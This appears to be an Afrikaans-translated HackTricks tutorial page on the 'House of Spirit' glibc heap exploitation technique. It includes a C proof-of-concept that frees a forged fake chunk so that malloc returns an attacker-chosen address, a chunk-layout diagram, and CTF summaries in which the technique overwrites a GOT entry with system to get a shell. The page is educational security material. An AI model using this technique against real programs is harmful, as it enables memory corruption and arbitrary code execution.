hacktricks/binary-exploitation/libc-heap/house-of-spirit.md

139 lines
6.8 KiB
Markdown
Raw Normal View History

# Huis van Gees
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## Basiese Inligting
### Kode
<details>
<summary>Huis van Gees</summary>
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
}
```
</details>
### Doel
* Wees in staat om 'n adres in die tcache / vinnige bin in te voeg sodat dit later moontlik is om dit toe te ken
### Vereistes
* Hierdie aanval vereis dat 'n aanvaller in staat is om 'n paar valse vinnige stukke te skep wat korrek die grootte daarvan aandui en dan die eerste valse stuk vry te stel sodat dit in die bin beland.
### Aanval
* Skep valse stukke wat sekuriteitskontroles omseil: jy sal 2 valse stukke nodig hê wat basies die korrekte groottes op die regte plekke aandui
* Op een of ander manier die eerste valse stuk vry te stel sodat dit in die vinnige of tcache bin beland en dan dit toe te ken om daardie adres te oorskryf
**Die kode van** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **is goed om die aanval te verstaan.** Alhoewel hierdie skema van die kode dit redelik goed opsom:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
```
{% hint style="info" %}
Let wel dat dit nodig is om die tweede blok te skep om sekere gesondheidskontroles te omseil.
{% endhint %}
## Voorbeelde
* **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
* **Libc infoleak**: Via 'n oorvloei is dit moontlik om 'n wyser te verander om na 'n GOT-adres te wys om 'n libc-adres te lek via die leesaksie van die CTF
* **House of Spirit**: Deur 'n teller wat die aantal "gewere" tel te misbruik, is dit moontlik om 'n vals grootte van die eerste valse blok te genereer, dan deur 'n "boodskap" te misbruik, is dit moontlik om die tweede grootte van 'n blok vals te maak en uiteindelik deur 'n oorvloei te misbruik, is dit moontlik om 'n wyser te verander wat vrygestel gaan word sodat ons eerste valse blok vrygestel word. Dan kan ons dit toewys en binne-in gaan die adres wees waar "boodskap" gestoor word. Dan is dit moontlik om hierdie te laat wys na die `scanf`-inskrywing binne die GOT-tabel, sodat ons dit kan oorskryf met die adres na stelsel.\
Volgende keer as `scanf` geroep word, kan ons die inset `"/bin/sh"` stuur en 'n skaal kry.
* [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
* **Glibc-lek**: Ongeïnisialiseerde stapbuffer.
* **House of Spirit**: Ons kan die eerste indeks van 'n globale reeks van hoopwysers wysig. Met 'n enkele byte-wysiging gebruik ons `free` op 'n valse blok binne 'n geldige blok, sodat ons 'n oorvleuelende blokke-situasie kry na toewysing weer. Met dit werk 'n eenvoudige Tcache-vergiftigingsaanval om 'n willekeurige skryfprimitief te kry.
## Verwysings
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>